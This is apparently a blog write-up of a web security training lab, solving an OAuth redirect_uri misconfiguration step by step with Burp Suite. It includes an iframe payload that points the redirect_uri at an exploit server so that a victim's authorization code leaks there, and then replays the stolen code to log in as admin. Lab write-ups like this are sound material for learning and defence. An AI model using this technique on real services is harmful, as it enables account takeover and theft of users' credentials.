21.4 Lab: OAuth account hijacking via redirect_uri | 2024

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users’ accounts. To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user carlos. The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service | Karthikeyan Nagaraj

Karthikeyan Nagaraj
3 min readMay 15, 2024

--

Description

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users’ accounts.

To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user carlos.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in with your own social media account using the following credentials: wiener:peter.

Solution

  1. While proxying traffic through Burp, click “My Account” and complete the OAuth login process. Afterwards, you will be redirected back to the blog website.
  2. Log out and then log back in again. Observe that you are logged in instantly this time. As you still had an active session with the OAuth service, you didn’t need to enter your credentials again to authenticate yourself.
  3. In Burp, study the OAuth flow in the proxy history and identify the most recent authorization request. This should start with GET /auth?client_id=[...]. Notice that when this request is sent, you are immediately redirected to the redirect_uri along with the authorization code in the query string. Send this authorization request to Burp Repeater.
  4. In Burp Repeater, observe that you can submit any arbitrary value as the redirect_uri without encountering an error. Notice that your input is used to generate the redirect in the response.
  5. Change the redirect_uri to point to the exploit server, then send the request and follow the redirect. Go to the exploit server's access log and observe that there is a log entry containing an authorization code. This confirms that you can leak authorization codes to an external domain.
  6. Go back to the exploit server and create the following iframe at /exploit:
    <iframe src="https://oauth-YOUR-LAB-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
  7. Store the exploit and click “View exploit”. Check that your iframe loads and then check the exploit server's access log. If everything is working correctly, you should see another request with a leaked code.
  8. Deliver the exploit to the victim, then go back to the access log and copy the victim’s code from the resulting request.
  9. Log out of the blog website and then use the stolen code to navigate to:
    https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN-CODE
  10. The rest of the OAuth flow will be completed automatically and you will be logged in as the admin user. Open the admin panel and delete carlos to solve the lab.

--

--

Karthikeyan Nagaraj

Security Researcher | Bug Hunter | Web Pentester | CTF Player | TryHackme Top 1% | AI Researcher | Blockchain Developer